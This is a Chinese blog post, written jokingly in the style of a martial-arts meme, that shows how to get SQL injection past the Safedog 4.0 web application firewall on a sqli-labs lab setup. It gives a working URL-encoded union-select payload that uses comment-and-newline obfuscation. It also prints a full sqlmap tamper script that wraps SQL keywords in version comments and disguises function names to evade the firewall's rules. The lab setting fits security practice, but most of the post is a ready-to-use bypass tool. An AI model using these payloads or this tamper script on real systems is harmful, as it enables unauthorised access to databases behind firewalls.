ma4ter

熬过无人问津的日子才能拥有诗和远方.

Sql注入打安全哈最重要的就是要会接化发

渗透测试 0 评 328 读

Sql注入,最重要的就是要会接化发,不会接化发,你就不能说自己会Sql注入。

环境部署

sqli-labs+win版apache安全狗4.0最新版本
下载地址:https://github.com/Audi-1/sqli-labs

打狗

接就是要fuzz出waf规则

然后就是发,发就是把荷载发出去。
我反手就是松果弹抖闪电鞭。
一鞭

它挡住了,他说这样不行 我说我可以
二鞭,

这就过去了 很快啊 3列就出来了啊

经过fuzz发现安全哈咬select

内联注释又是一鞭过去 这个数字跟mysql版本有关
查账户数据库
还发现可以用union all select配合换行打狗

http://10.35.35.69/sqllabs/Less-1/?id=-1%27%20union%23%0aall%23%0aselect%201,(select%20schema_name%20from%20%23%0ainformation_schema.schemata%20%20limit%202,1),3%23


这个mysql默认的库得到一个版本才有 多少版本我忘记了
早上起来想编写一个sqlmap的tamper
结果遇到了坑 记录一下 安全哈不讲武德 会拦截sqlmap的user-agent

加个参数
--random-agent
fuzz后发现安全狗会拦截user() database()这些敏感函数
结合前面的用%23%0a污染一下

发过去后 发现sqlmap说id可以注入 但是并跑不出来数据库

请教了一下撕夜表哥

用Burp代理看下请求

那么就是tamper脚本中替换user把这个SESSION_USER()函数也替换到了 导致注不出来数据库
传统功夫是讲化劲的 化一下

把这个函数化回去
发出去
你看 这一鞭就成功打死安全狗

tamper脚本:

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):

    if payload:
        payload=payload.replace("ORDER","/*!14400ORDER*/")
        payload=payload.replace("AND","/*!14400AND*/")
        payload=payload.replace("FROM","/*!14400FROM*/")
        payload=payload.replace("UNION","/*!14400UNION*/")
        payload=payload.replace("SELECT","/*!14400SELECT*/")
        payload=payload.replace("USER()","USER%23%0a()")
        payload=payload.replace("SESSION_USER%23%0a","SESSION_USER")

    return payload

快来做第一个评论的人吧~